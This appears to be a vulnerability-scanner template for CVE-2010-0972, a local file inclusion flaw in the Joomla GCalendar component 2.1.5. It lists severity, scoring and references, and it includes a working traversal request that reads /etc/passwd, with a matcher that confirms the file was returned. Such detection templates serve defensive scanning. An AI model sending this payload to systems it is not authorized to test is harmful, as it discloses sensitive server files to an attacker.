id: CVE-2010-0972

info:
  name: Joomla! Component com_gcalendar Suite 2.1.5 - Local File Inclusion
  author: daffainfo
  severity: high
  description: A directory traversal vulnerability in the GCalendar (com_gcalendar) component 2.1.5 for Joomla! allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the controller parameter to index.php.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to read sensitive files on the server, leading to unauthorized access or information disclosure.
  remediation: Apply all relevant security patches and product upgrades.
  reference:
    - https://www.exploit-db.com/exploits/11738
    - https://nvd.nist.gov/vuln/detail/CVE-2010-0972
    - http://www.exploit-db.com/exploits/11738
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/56863
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:P/A:P
    cvss-score: 7.5
    cve-id: CVE-2010-0972
    cwe-id: CWE-22
    epss-score: 0.03709
    epss-percentile: 0.87523
    cpe: cpe:2.3:a:g4j.laoneo:com_gcalendar:2.1.5:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: g4j.laoneo
    product: com_gcalendar
  tags: cve2010,cve,edb,joomla,lfi,g4j.laoneo

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_gcalendar&controller=../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a004730450221008b658713b1de327192bacaf2bbeb9fe16c6a371bbd3d9e7155e479308726b37d0220088532cd0dcd907c7c36c95e05d885b15c7c5c22be28d74f4b4fe0a81361e126:922c64590222798bb761d5b6d8e72950